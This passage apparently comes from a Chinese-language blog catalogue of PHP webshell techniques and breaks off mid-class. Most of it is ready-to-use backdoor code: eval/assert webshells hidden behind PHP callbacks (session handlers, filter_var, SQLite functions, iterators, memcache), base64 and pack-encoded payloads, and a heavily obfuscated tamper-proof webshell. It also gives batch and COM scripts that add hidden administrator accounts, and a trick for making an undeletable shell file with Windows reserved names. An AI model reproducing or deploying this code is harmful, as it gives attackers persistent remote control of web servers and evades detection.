$str = file_get_contents("Code.php");// 第一步 替换所有变量// 正则 \$[a-zA-Z_\x7f-\xff][\w\x7f-\xff]*preg_match_all('|\$[a-zA-Z_\x7f-\xff][\w\x7f-\xff]*|', $str, $params) or die('err 0.');
$params = array_unique($params[0]); // 去重复$replace = array();
$i = 1;foreach ($params as $v) {
    $replace[] = '$p' . $i;
    tolog($v . ' => $p' . $i); // 记录到日志
    $i++;
}
$str = str_replace($params, $replace, $str);// 第二步 替换所有函数名// 正则 function ([a-zA-Z_\x7f-\xff][\w\x7f-\xff]*)preg_match_all('|function ([a-zA-Z_\x7f-\xff][\w\x7f-\xff]*)|', $str, $params) or die('err 0.');
$params = array_unique($params[1]); // 去重复$replace = array();
$i = 1;foreach ($params as $v) {
    $replace[] = 'fun' . $i;
    tolog($v . ' => fun' . $i); // 记录到日志
    $i++;
}
$str = str_replace($params, $replace, $str);// 第三步 替换所有不可显示字符function tohex($m) {
    $p = urlencode($m[0]); // 把所有不可见字符都转换为16进制、
    $p = str_replace('%', '\x', $p);
    $p = str_replace('+', ' ', $p); // urlencode 会吧 空格转换为 + 
    return $p;
}
$str = preg_replace_callback('|[\x00-\x08\x0e-\x1f\x7f-\xff]|s', "tohex", $str);// 写到文件file_put_contents("Code.decode.php", $str);

function tolog($str) {
    file_put_contents("replace_log.txt", $str . "\n", FILE_APPEND);
}?>
复制代码

2.  找源码解密

复制代码
<?php
$file = 'plugin.php';  //要破解的文件$fp = fopen($file, 'r');
$str = fread($fp, filesize($file));
fclose($fp);

copy($file, '0_'.$file);

$n = 1;while($n < 10){
    $code = strdecode($str);    if($n == 1){
        $code = str_replace("__FILE__", "'0_$file'", $code);
    }
    
    $replace = '$decode'.$n.'=trim';    if(strpos($code, 'eval(') > 0){
        $code = str_replace('eval(', $replace.'(', $code);
    }else{
        preg_match("/@\\$(.*)\(\\$(.*),(.*)\(/isU", $code, $res);
        $code = str_replace($res[3], "'$replace", $code);
    }
    
    $code = preg_replace('/\\$(.*)=false;(.*?)\(\);/', '', $code); //上一版本
    $code = preg_replace('/\|\|@\\$(.*?)\(\);/', '|| print("ok");', $code);
    
    $code = destr($code);
    $tmp_file = 'detmp'.$n.'.php';
    file_put_contents($tmp_file, $code);
    include($tmp_file);

    $val = 'decode'.$n;
    $str = $$val;
    
    unlink($tmp_file);    
    if(strpos($str, ';?>') === 0){
        $decode = $str;        break;
    }
    
    $str = "<?php\r\n". $str;
    $n++;
}


$decode = preg_replace("/^(.*)exit\('Access Denied'\); /", "<?php\r\n", $decode);
$del = strrchr($decode, 'unset');
$decode = str_replace($del, "\r\n?>", $decode);
file_put_contents($file.'.de.php' ,$decode);
unlink('0_'.$file);
echo 'done';////////////function val_replace($code, $val, $deval){
    $code = str_replace('$'.$val.',', '$'.$deval.',', $code);
    $code = str_replace('$'.$val.';', '$'.$deval.';', $code);
    $code = str_replace('$'.$val.'=', '$'.$deval.'=', $code);
    $code = str_replace('$'.$val.'(', '$'.$deval.'(', $code);
    $code = str_replace('$'.$val.')', '$'.$deval.')', $code);
    $code = str_replace('$'.$val.'.', '$'.$deval.'.', $code);
    $code = str_replace('$'.$val.'/', '$'.$deval.'/', $code);
    $code = str_replace('$'.$val.'>', '$'.$deval.'>', $code);
    $code = str_replace('$'.$val.'<', '$'.$deval.'<', $code);
    $code = str_replace('$'.$val.'^', '$'.$deval.'^', $code);
    $code = str_replace('$'.$val.'||', '$'.$deval.'||', $code);
    $code = str_replace('($'.$val.' ', '($'.$deval.' ', $code);    return $code;
}

function fmt_code($code){    global $vals,$funs;
    preg_match_all("/\\$[0-9a-zA-Z\[\]']+(,|;)/iesU", $code, $res);    foreach($res[0] as $v){
        $val = str_replace(array('$',',',';'), '', $v);
        $deval = destr($val, 1);
        $vals[$val] = $deval;
        $code = val_replace($code, $val, $deval);
    }

    preg_match_all("/\\$[0-9a-zA-Z\[\]']+=/iesU", $code, $res);    foreach($res[0] as $v){
        $val = str_replace(array('$','='), '', $v);
        $deval = destr($val, 1);
        $vals[$val] = $deval;
        $code = val_replace($code, $val, $deval);
    }

    preg_match_all("/function\s[0-9a-zA-Z\[\]]+\(/iesU", $code, $res);    foreach($res[0] as $v){
        $val = str_replace(array('function ','('), '', $v);
        $deval = destr($val, 1);
        $funs[$val] = $deval;
        $code = str_replace('function '.$val.'(', 'function '.$deval.'(', $code);
        $code = str_replace('='.$val.'(', '='.$deval.'(', $code);
        $code = str_replace('return '.$val.'(', 'return '.$deval.'(', $code);
    }    return $code;
}

function strdecode($str){
    $len = strlen($str);
    $newstr = '';    for($i=0; $i<$len; $i++){
        $n = ord($str[$i]);
        $newstr .= decode($n);
    }    return $newstr;
}

function decode($dec){    if(($dec > 126 || $dec<32) && $dec<>13 && $dec<>10){        return '['.$dec.']';
    }else{        return chr($dec);
    }
}

function destr($str, $val=0){
    $k = 0;
    $num = '';
    $n = strlen($str);
    $code = '';    for($i=0; $i<$n; $i++){        if($str[$i] == '[' && ($str[$i+1]==1 || $str[$i+1]==2)){
            $k = 1;
        }elseif($str[$i] == ']' && $k==1){
            $num = intval($num);            if($val==1){
                $num = 97 + fmod($num, 25);
            }
            $code .= chr($num);
            $k = 0;
            $num = null;
        }else{            if($k == 1){
                $num .= $str[$i];
            }else{
                $code .= $str[$i];
            }
        }
    }    return $code;
}?>
复制代码

Relevant Link:

http://www.cnblogs.com/52cik/p/php-phpdp-thinking.htmlhttp://www.phpdp.org/http://www.zhaoyuanma.com/phpencode.html

0x39: 利用ReflectionFunction反射进行动态函数执行 

http://php.net/manual/zh/class.reflectionfunction.phphttp://php.net/manual/zh/reflectionfunction.invokeargs.php<?php
    $func = new ReflectionFunction("system");
    echo $func->invokeArgs(array("$_GET[c]"));?>

 0x40: 基于Winapi 函数FindFirstFile()导致的畸形文件名

复制代码
https://code.google.com/p/pasc2at/wiki/SimplifiedChinesehttp://www.2cto.com/Article/201407/320879.html可以利用下面的脚本来生成一个"畸形文件名"<?php    for ($j=0; $j<256; $j++) 
    {        for ($i=0; $i<256; $i++) 
        {            /*
            确保在当前目录下有一个"1.php"文件            */
            $url = '1.p' . chr($j) . chr($i);
            $tmp = @file_get_contents($url);            if (!empty($tmp)) 
            {
                echo "1.p" . chr($j) . chr($i) . "<br/>";
            }
        }
    }?>result(得到的结果):1.p><1.p>>1.p>P1.p>p1.pH<1.pH>1.pHP1.pHp1.ph<1.ph>1.phP1.php1.p< 
1.p<"1.p<.1.p<<1.p<>对于这种利用方式,我们只能说这样得到的文件扩展名都是可以被windows正确解析的,存在从而来进行bypass那些过滤了文件扩展名的webshell检测机制,但是要真正地利用它发动攻击,我觉得还有很多限制1. 这个issue只能在windows上才存在2. 但是windows的文件系统明确禁止了一些特殊字符作为文件名    1) <    2) >    3) .(虽然没有禁止,但是会被windows自动删除)    4) *3. 所以理论上我们根本没办法在磁盘上写入这样的畸形后缀的文件,bypass也就无从谈起
复制代码

0x41: webshell中的不死僵尸 

复制代码
利用系统保留文件名创建无法删除的webshell
Windows 下不能够以下面这些字样来命名文件/文件夹:1. aux2. prn3. con4. nul5. com16. com27. com38. com49. com510. com611. com712. com813. com914. lpt115. lpt216. lpt317. lpt418. lpt519. lpt620. lpt721. pt822. lpt9
但是通过cmd的copy命令即可实现
D:\wwwroot>copy rootkit.asp \\.\D:\wwwroot\lpt6.shell.asp 
注意: 前面必须有"\\.\" 这类文件无法在图形界面删除,只能在命令行下删除:
D:\wwwroot>del \\.\D:\wwwroot\lpt6.shell.asp
然而在IIS中,这种文件又是可以解析成功的。Webshell中的 "不死僵尸" 原理就在这
复制代码

0x42: 利用组策略的自动执行脚本隐藏webshell 

复制代码
准备开关机脚本  
关机.bat
@echo off
net user hxhack 123456/add
net localgroup administrators hxhack/add
    
启动.bat
@echo off
net user hxhack/del
 
启用开关机脚本1. 点击"开始"菜单-运行",输入命令"gpedit.msc",回车后打开组策略编辑器程序窗口2. 依次展开"计算机配置"-"windows设置"-"脚本(启动/关机)"项目3. 双击右侧的"启动"。打开启动脚本设置对话框。点击"显示文件"按钮,将会自动打开系统启动脚本目录4. 将刚才建立的"启动.bat"移动到此文件夹中。然后关闭文件夹窗口。在启动脚本对话框中。点击"添加"按钮,浏览指定当前目录下的开机脚本文件"启动.bat"。5. 点击确定按钮。完成添加。再点击"应用"按钮,使用当前启动设置。关闭启动脚本设置对话框。然后双击组策略编辑器中的"关机"项目,打开关机脚本设置对话框,用同样的方法添加关机脚本为"关机.bat"。最后关闭组策略编辑器
复制代码

待研究

https://github.com/tennc/webshellhttps://github.com/JohnTroony/php-webshells

0x43: 利用PHP自定义函数回调执行webshell 

复制代码
<?php    if(key($_GET)=='dede')        //call_user_func($_GET['dede'], "@eval($_POST[bs]);");
        call_user_func($_GET['dede'], base64_decode('QGV2YWwoJF9QT1NUW2JzXSk7'));?>http://php.net/manual/zh/function.call-user-func.php<?php 
    //call_user_func($_GET['dede'], "@eval($_POST[bs]);");
    call_user_func($_GET['dede'], base64_decode('QGV2YWwoJF9QT1NUW2JzXSk7')); 
?>http://localhost/test/test.php?dede=assert
复制代码

0x44: 利用PHP扩展定界标签实现正则检测绕过

PHP是一种和HTML混编的脚本语言,它允许的定界标签如下

复制代码
1. <?php echo 'if you want to serve XHTML or XML documents, do it like this'; ?>//永远可用2. <?php echo 'if you want to serve XHTML or XML documents, do it like this';//PHP允许半闭合3. <script language="php"> echo "some editors (like FrontPage) don't like processing instructions"; </script> //永远可用4. <script language='php'> echo "some editors (like FrontPage) don't like processing instructions"; </script> //单引号5. <script language=php> echo "some editors (like FrontPage) don't like processing instructions"; </script> //无引号6. <script language="php"> echo "some editors (like FrontPage) don't like processing instructions";  //除非在当前文件的最末尾,否则必须要求结束标签定界符6. <? echo 'this is the simplest, an SGML processing instruction'; ?>7. <?= expression ?> This is a shortcut for "<? echo expression ?>"//仅在通过 php.ini 配置文件中的指令 short_open_tag 打开后才可用,或者在 PHP 编译时加入了 --enable-short-tags 8. <? echo 'this is the simplest, an SGML processing instruction';9. <?= expression  
//允许半闭合10. <% echo 'You may optionally use ASP-style tags'; %>11. <%= $variable; # This is a shortcut for "<% echo . . ." %>//仅在通过 php.ini 配置文件中的指令 asp_tags 打开后才可用12. <% echo 'You may optionally use ASP-style tags';13. <%= $variable; 
//允许半闭合
复制代码

为了更好地理解PHP词法解析引擎处理PHP标签定界符的原理,我们从PHP内核源代码的层面出发进行讨论

http://www.cnblogs.com/LittleHann/p/4513842.html//搜索:2. PHP标签解析

Relevant Link:

http://php.net/manual/zh/language.basic-syntax.phpmode.php

0x55: 基于XML格式变种的WEBSHELL

xml在发展中派生出了一系列标准,包括

1. DTD2. XSD3. XDR4. XPATH5. XSLT

XSLT全称为拓展样式表转换语言,其作用类似于css,通过指定的规则,将一个xml文档转换为另外的形式。指定的规则由另外一个xml文件描述,这个文件通常为xsl后缀。xsl语法相对较为复杂
为了对目标节点进行处理,XSLT提供了一系列用于处理XML节点的内置函数

复制代码
xml: 
<?xml version="1.0"?>
<root>123</root>xsl: 
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/root">
    <xsl:value-of select="string(.)"/>
  </xsl:template>
</xsl:stylesheet>
复制代码

xsl文件中xsl:template节点描述了匹配规则,其match属性为一个XPATH,表示匹配的xml节点。xsl:value-of描述了转换规则,会将对前一步所匹配的节点作为参数传入select属性指定的函数中,参数.表示所匹配的节点。 对以上xml和xsl进行转换,将输出以下结果

<?xml version="1.0" encoding="UTF-16"?>123

在有些情况下,内置函数无法满足所有的需求。为了拓展XSLT的功能,绝大部分XSL转换器都提供了脚本拓展功能。根据转换器的不同,其脚本有所差异,所支持的功能也有所不同。 在一定程度上,一个对象的安全性与复杂性是成反比的。合法功能的非预期利用是漏洞,恶意利用则可能成为隐蔽的后门。XSLT的脚本执行功能,就是这样一个可能的后门。

Relevant Link:

http://drops.wooyun.org/tips/5799

0x56: 防篡改WEBSHELL

复制代码
<?php /* Powered by www.qibosoft.com */$lll11l11l11l11l1=__FILE__;eval(base64_decode('JGxsMTFsbGwxMWxsbGwxMWw9Zm9wZW4oJGxsbDExbDExbDExbDExbDEsJ3JiJyk7ZnJlYWQoJGxsMTFsbGwxMWxsbGwxMWwsMjE2MCk7JGxsMWxsbGwxMTExMTExMWw9ZXhwbG9kZSgiXHQiLGJhc2U2NF9kZWNvZGUoZnJlYWQoJGxsMTFsbGwxMWxsbGwxMWwsMjcyKSkpOw=='));$lll111111ll1l1ll=$ll1llll11111111l[0];$l1ll11lllll1ll1l=$lll111111ll1l1ll{2}.$lll111111ll1l1ll{5}.$lll111111ll1l1ll{8}.$lll111111ll1l1ll{11}.$lll111111ll1l1ll{14}.$lll111111ll1l1ll{17}.$lll111111ll1l1ll{20}.$lll111111ll1l1ll{23}.$lll111111ll1l1ll{26}.$lll111111ll1l1ll{29}.$lll111111ll1l1ll{32}.$lll111111ll1l1ll{35}.$lll111111ll1l1ll{38};$l11llll111l1l11l=$l1ll11lllll1ll1l($ll1llll11111111l[1]);$l1l11111ll1l1l1l=$l1ll11lllll1ll1l($l11llll111l1l11l{2}.$l11llll111l1l11l{5}.$l11llll111l1l11l{8}.$l11llll111l1l11l{11}.$l11llll111l1l11l{14}.$l11llll111l1l11l{17}.$l11llll111l1l11l{20}.$l11llll111l1l11l{23});$lll1ll11l11l1ll1=$l1ll11lllll1ll1l($ll1llll11111111l[2]);$l111ll111lll1111=$l1ll11lllll1ll1l($lll1ll11l11l1ll1{2}.$lll1ll11l11l1ll1{5}.$lll1ll11l11l1ll1{8}.$lll1ll11l11l1ll1{11}.$lll1ll11l11l1ll1{14}.$lll1ll11l11l1ll1{17}.$lll1ll11l11l1ll1{20}.$lll1ll11l11l1ll1{23});$ll1lll1lll111111=$l1ll11lllll1ll1l($ll1llll11111111l[3]);$ll11llllll1lllll=$l1ll11lllll1ll1l($ll1lll1lll111111{2}.$ll1lll1lll111111{5}.$ll1lll1lll111111{8}.$ll1lll1lll111111{11}.$ll1lll1lll111111{14}.$ll1lll1lll111111{17}.$ll1lll1lll111111{20}.$ll1lll1lll111111{23});$lll1ll11l1111l11=$l1ll11lllll1ll1l($ll1llll11111111l[4]);$ll1111l11l11llll=$l1ll11lllll1ll1l($lll1ll11l1111l11{2}.$lll1ll11l1111l11{5}.$lll1ll11l1111l11{8}.$lll1ll11l1111l11{11}.$lll1ll11l1111l11{14}.$lll1ll11l1111l11{17}.$lll1ll11l1111l11{20}.$lll1ll11l1111l11{23});$llll11l1ll111l1l=$l1ll11lllll1ll1l($ll1llll11111111l[5]);$llllll1l11llllll=$l1ll11lllll1ll1l($llll11l1ll111l1l{2}.$llll11l1ll111l1l{5}.$llll11l1ll111l1l{8}.$llll11l1ll111l1l{11}.$llll11l1ll111l1l{14}.$llll11l1ll111l1l{17}.$llll11l1ll111l1l{20}.$llll11l1ll111l1l{23});eval($l1ll11lllll1ll1l('JGxsMTFsbGxsbGwxbGxsbGwoJGxsMTFsbGwxMWxsbGwxMWwsMTcpO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJGxsMTFsbGxsbGwxbGxsbGwoJGxsMTFsbGwxMWxsbGwxMWwsMjMyKSkpOw=='));return ;?>dGFiMWVhYjlzY2RlYjg2dG00cXVfZWJkY2ZlanFjMnZvdHBkdndlCU5UWmFjM0p0ZVRnNWJXbDNZV0phYkhsWGNIazBkWE05CWVHNWFPV050WWpGa2NYTnNhbkZrWm1oSVkzaE5jbkU5CWRucGFNVEZ1YW1KS2NIUnNabUpaYm1wWFpIQlJkMjQ5CU9HSmpZV3N6YjJ0U2FXMTVjSE5rYkdWSWMyaEpaSFk5CVoydGFkR0Z0YzNZNVlubDNjbnBhTjNSWGNtczBNbXM54bSULjFL6pblYuIkpO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=AhDBms0qm82LqpqMrHT1O2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=tGLOYY5fUpO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UY3BPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=JqjcRhp75i6Lf4MwjO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=yS0ttoM7R7SDkJpvuNKUO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01USXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=vMCvyQqBIgcoO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UY3BPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=agQLu9pzZf25xZjXjO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UVXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=WOmDsuNvUYJUFK3O2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=hx7OShbiw40pgFI3OeYhO2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01UQXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qTXlLU2twT3c9PScpKTs=lErzbn3Vk5O2V2YWwoJGwxbGwxMWxsbGxsMWxsMWwoJ0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01USXBPMlYyWVd3b0pHd3hiR3d4TVd4c2JHeHNNV3hzTVd3b0pHeHNNVEZzYkd4c2JHd3hiR3hzYkd3b0pHeHNNVEZzYkd3eE1XeHNiR3d4TVd3c01qazJLU2twT3c9PScpKTs=U5zJkvgx0MBjZXZhbCgkbDFsbDExbGxsbGwxbGwxbCgnSkd4c01URnNiR3hzYkd3eGJHeHNiR3dvSkd4c01URnNiR3d4TVd4c2JHd3hNV3dzTVRncE8yVjJZV3dvSkd3eGJHd3hNV3hzYkd4c01XeHNNV3dvSkd4c01URnNiR3hzYkd3eGJHeHNiR3dvSkd4c01URnNiR3d4TVd4c2JHd3hNV3dzTVRNNE9Da3BLVHNrYkd4c2JHeHNNV3d4TVd4c2JHeHNiQ2drYkd3eE1XeHNiREV4Ykd4c2JERXhiQ2s3JykpOw==Orb94oK1BBaoF8cySgaWYoJF9QT1NUWydteXB3ZCddKXsNCglyZXF1aXJlX29uY2UoZGlybmFtZShfX0ZJTEVfXykuIi8uLi8uLi9pbmMvcXEuYXBpLnBocCIpOw0KCUBldmFsKHFxbWQ1KCJVVjlBR3g0ZlhrRVFSQWdlR2tGRkV4aENXVkVMRmdsVlFrd0ZWZ3dkQVZnY1JFZ1dFUlFSVVFzYVFsbEZFUnRmZTU1Yjc0YWU4OSIsJ0RFJywkX1BPU1RbJ215cHdkJ10pKTsNCn0NCg0KaWYoJGpvYj09ImdldCImJiRBcG93ZXJbdXBncmFkZV9vbF0pDQp7DQoNCgloYWNrX2FkbWluX3RwbCgnZ2V0Jyk7DQp9DQplbHNlaWYoJGFjdGlvbj09ImdldCImJiRBcG93ZXJbdXBncmFkZV9vbF0pDQp7DQoJJGZpbGV1cmw9Imh0dHA6Ly9kb3duLnFpYm9zb2Z0LmNvbS91cGdyYWRlLnppcCI7DQoJaWYoJGNvZGU9ZmlsZV9nZXRfY29udGVudHMoJGZpbGV1cmwpKQ0KCXsNCgkJd3JpdGVfZmlsZShST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIiwkY29kZSk7DQoJfQ0KCWVsc2VpZigkY29kZT1maWxlKCRmaWxldXJsKSkNCgl7DQoJCXdyaXRlX2ZpbGUoUk9PVF9QQVRILiJjYWNoZS91cGdyYWRlLnppcCIsJGNvZGUpOw0KCX0NCgllbHNlaWYoY29weSgkZmlsZXVybCxST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIikpDQoJew0KCX0NCgllbHNlaWYoJGNvZGU9c29ja09wZW5VcmwoJGZpbGV1cmwpKQ0KCXsNCgkJd3JpdGVfZmlsZShST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIiwkY29kZSk7DQoJfQ0KDQoJcmVxdWlyZV9vbmNlKFJPT1RfUEFUSC4iaW5jL2NsYXNzLnoucGhwIik7DQoJJHogPSBuZXcgWmlwOw0KCW1ha2VwYXRoKFJPT1RfUEFUSC4iY2FjaGUvdXBncmFkZSIpOw0KCSR6LT5FeHRyYWN0KFJPT1RfUEFUSC4iY2FjaGUvdXBncmFkZS56aXAiLFJPT1RfUEFUSC4iY2FjaGUvdXBncmFkZSIpOw0KCXVubGluayhST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIik7DQoJZWNobyAiPE1FVEEgSFRUUC1FUVVJVj1SRUZSRVNIIENPTlRFTlQ9JzA7VVJMPSR3ZWJkYlt3d3dfdXJsXS9jYWNoZS91cGdyYWRlL2luZGV4LnBocCc+IjsNCglleGl0Ow0KfQ==Oz1aqN6Bs2Twgiat5H0qQeo5bgm84V1tvONOA
复制代码

这种WEBSHELL遵循了严格的生成逻辑,并精确地在代码中加入了花指令,只有文件完好无损(即不能增加也不能减少)才能正常解密出原始文件并执行,一旦文件遭到了任何修改,则解密过程会失败,导致webshell无法执行

0x57: 利用shell.users添加管理员帐号

复制代码
<?php
echo "<div align=center><b>PHP 版Shell.Users加管理员帐号</b></div>";
$username="isosky.test";
$password="test";
$su = new COM("Shell.Users");
$h=$su->create($username);
$h->changePassword($password,"");
$h->setting["AccountType"] = 3;//这句很重要可以把用户加入administrators 组,?>
复制代码

0x58: 利用注册Zend全部回调钩子函数部署WEBSHELL

register_shutdown_function — Register a function for execution on shutdown

复制代码
<?php
    function shutdown()
    { 
        eval($_POST[1]);
    }

    register_shutdown_function('shutdown');?>
复制代码

register_tick_function — Register a function for execution on each tick

$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

Relevant Link:

http://blog.csdn.net/isosky/article/details/6460558http://hackerxian.blog.51cto.com/9240575/1613367

0x59: 利用session_set_save_handler callback部署webshell

复制代码
<?php
    error_reporting(0); 
    $session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert    // open第一个被调用,类似类的构造函数    function open($save_path, $session_name) 
    {}    // close最后一个被调用,类似 类的析构函数    function close() 
    {
    }    // 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])
    session_id($_REQUEST['op']);
    function write($id, $sess_data) 
    {}
    function destroy($id) 
    {}
    function gc() 
    {}    // 第三个参数为read  read(string $sessionId)
    session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
    @session_start(); // 打开会话
    $cloud = $_SESSION["d"] = "c";  
?>
复制代码

0x60: 利用include、pack隐藏webshell

利用PHP的include可以引入外部代码的特性,实现WEBSHELL代码的隐藏

复制代码
<?php
    echo bin2hex("<?php echo hello; ?>");?>//3c3f706870206563686f2068656c6c6f3b203f3e<?php 
    @include(pack("H*", "3c3f706870206563686f2068656c6c6f3b203f3e"));  
?>
复制代码

0x61: 通过将恶意代码写入临时磁盘文件,然后include进当前代码空间进行执行,运行之后删除临时文件

复制代码
<?php

    $cfg_ml='PD9waHAgQGV2YWwoJF9QT1NUWydndWlnZSddKT8+';    //<?php @eval($_POST['guige'])?>
    $cfg_ml = base64_decode($cfg_ml);
    $t = md5(mt_rand(1,100));    //尝试向各种可能的目录下写入临时WEBSHELL文件
    $f=$_SERVER['DOCUMENT_ROOT'].'/data/sessions/sess_'.$t;
    @file_put_contents($f,$cfg_ml);    if(!file_exists($f))
    {    
        $f=$t;
        @file_put_contents($f,$cfg_ml);
    }    if(!file_exists($f))
    {
        $f=$_SERVER['DOCUMENT_ROOT'].'/a/'.$t;
        @file_put_contents($f,$cfg_ml);
    }    if(!file_exists($f))
    {        //向脚本所在当前目录下写入临时WEBSHELL文件
        $f=$_SERVER['DOCUMENT_ROOT'].'/'.$t;
        @file_put_contents($f,$cfg_ml);
    }    if(!file_exists($f))
    {
        $f='/tmp/'.$t;
        @file_put_contents($f,$cfg_ml);
    } 
    //通过include引入之前写入的临时WEBSHELL文件    @include($f);
    @unlink($f);  

?>
复制代码

之所以需要通过写磁盘文件进行一次"中转",是因为php不允许直接include一段字符串,但是允许一个包含php代码的文件

0x62: 利用filter_var callback特性隐藏webshell

<?php
filter_var($_REQUEST['op'], FILTER_CALLBACK, array('options' => 'assert'));?>

这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可

0x63: 数据库操作与第三方库中的回调后门

复制代码
<?php
  $e = $_REQUEST['e'];
  $db = new PDO('sqlite:sqlite.db3');
  $db->sqliteCreateFunction('myfunc', $e, 1);
  $sth = $db->prepare("SELECT myfunc(:exec)");
  $sth->execute(array(':exec' => $_REQUEST['pass']));?>
复制代码

注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert
也可以直接调用sqlite3的方法构造回调后门

复制代码
<?php
  $e = $_REQUEST['e'];
  $db = new SQLite3('sqlite.db3');
  $db->createFunction('myfunc', $e);
  $stmt = $db->prepare("SELECT myfunc(?)");
  $stmt->bindValue(1, $_REQUEST['op'], SQLITE3_TEXT);
  $stmt->execute();?>
复制代码

0x64: 利用特定扩展库构造回调后门

复制代码
<?php
  $str = urlencode($_REQUEST['op']);
  $yaml = <<<EOD
  greeting: !{$str} "|.+|e"
  EOD;
  $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['op']}" => 'preg_replace'));?>
复制代码

0x65: 利用php_memcached执行webshell

<?php
  $mem = new Memcache();
  $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
  $mem->connect($_REQUEST['op'], 11211, 0);?>

0x66: 利用preg_replace_callback隐藏webshell

<?php
  preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['op']);?>

另一种正则替换API

<?php
  mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['op']);?>

0x67: 利用CallbackFilterIterator部署回调后门

复制代码
<?php
  $iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['op'],)), create_function('$a', 'assert($a);'));  foreach ($iterator as $item) 
  {
    echo $item;
  }?>
复制代码

Relevant Link:

http://drops.wooyun.org/tips/7279

0x68: 通过自定义加密算法进行文本编码转换加密(PHP神盾加密)

加密算法如下

复制代码
<?php  /**
   *
   *[MZG_PHPDP] (C)2008-2010 Powered by PHPDP.COM
   *  Var 1.55
   * #Update:-
   * fjyxian
   **/
  class _MzgLock 
